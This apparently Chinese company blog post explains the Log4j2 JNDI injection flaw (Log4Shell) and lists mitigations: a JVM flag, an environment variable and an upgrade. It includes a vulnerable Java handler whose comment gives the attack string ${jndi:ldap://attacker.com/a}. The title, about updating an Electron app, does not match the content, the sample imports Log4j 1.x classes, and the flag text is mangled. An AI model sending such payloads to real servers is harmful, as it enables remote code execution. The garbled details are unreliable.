深眸分享--更新electron应用

2022-05-26

前段时间log4j2爆出了一个非常严重的漏洞

Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码

举例:

import org.apache.log4j.Logger;import java.io.*;import java.sql.SQLException;import java.util.*;public class VulnerableLog4jExampleHandler implements HttpHandler { static Logger log = Logger.getLogger(log4jExample.class.getName()); /** * A simple HTTP endpoint that reads the request's User Agent and logs it back. * This is basically pseudo-code to explain the vulnerability, and not a full example. * @param he HTTP Request Object */ public void handle(HttpExchange he) throws IOException { string userAgent = he.getRequestHeader("user-agent");  // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} log.info("Request User Agent:" + userAgent); String response = "<h1>Hello There, " + userAgent + "!</h1>"; he.sendResponseHeaders(200, response.length()); OutputStream os = he.getResponseBody(); os.write(response.getBytes()); os.close(); }}

根据上面提供的攻击代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码,两种解决方式:



1.临时修复

JVM 参数添加

Dlog4j2.formatMsgNoLookups=truelog4j2.formatMsgNoLookups=True

FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true





2.最优解决办法


尽快升级到 Log4j2-2.16.0版本

顺便提一嘴,springboot默认的日志框架是logback,不受此bug影响

创新加码,实力铸就!深眸科技双项目…创新加码,实力铸就!深眸科技双项目…
近日,2022年杭州市第二批重点建设人工智能应用场景清单公布。清单共包含30个人工智能应用场景,由深眸科技提供技术支持的“铅酸近日,2022年杭州市第二批重点建设人工智能应用场景清单公布。清单共包含30个人工智能应用场景,由深眸科技提供技术支持的“铅酸
查看更多→